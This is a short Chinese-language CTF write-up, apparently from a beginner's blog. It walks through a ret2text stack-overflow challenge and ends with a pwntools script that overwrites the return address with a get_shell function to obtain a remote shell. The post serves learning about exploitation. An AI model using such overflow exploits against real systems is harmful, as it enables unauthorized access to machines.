33184-p5459j1nvqk.png

那么又是我来水文章了

首先看到这个附件啊,直接就一手下载过来,扔kali里跑跑看看有什么玩意保护

82824-igfyl1fmshg.png

OK,这是一个64位的啥保护都没有的程序,接下来就可以扔ida里看看伪C了,我们直接点进main按F5看伪C(不要忘记main下面还有一个get_shell函数嗷)

77752-cf94qu6u1nf.png

看一下get_shell函数

44658-woa0nrnyunl.png

很明显,我们要执行的是get_shell函数而不是main函数,重新回main函数看一下read那边是存在有栈溢出漏洞的
(关于栈溢出漏洞详情可百度,这边简化一下说就是去执行get_shell函数)
##看read里的&s的起止(双击就行)

82284-nq35si1arz7.png

43059-h6svgs4wdvs.png

可以看到,我们需要计算的偏移量是+0x08-(0x30)=0x38,那么我们要把这个量转移到get_shell函数的那个地址去

85969-n766ujsqdz.png

得到get_shell函数地址是0x400751,接下来就是利用py写脚本了

from pwn import *
r=remote('ip',端口)     
payload = 'a'*0x38+p64(0x400751)   
r.sendline(payload)
r.interactive()

注意payload这个地方两个不能写反了,不然是不行的(我就这么踩雷的!!!好蠢!!!)

扔kali里跑

43495-bntws23y0zc.png

!!!!!!!!

本人大菜鸡,所提之处有问题请见谅!有改进建议请告诉我!也是参考大佬原文学习的!
可参考大佬原文原文

发表评论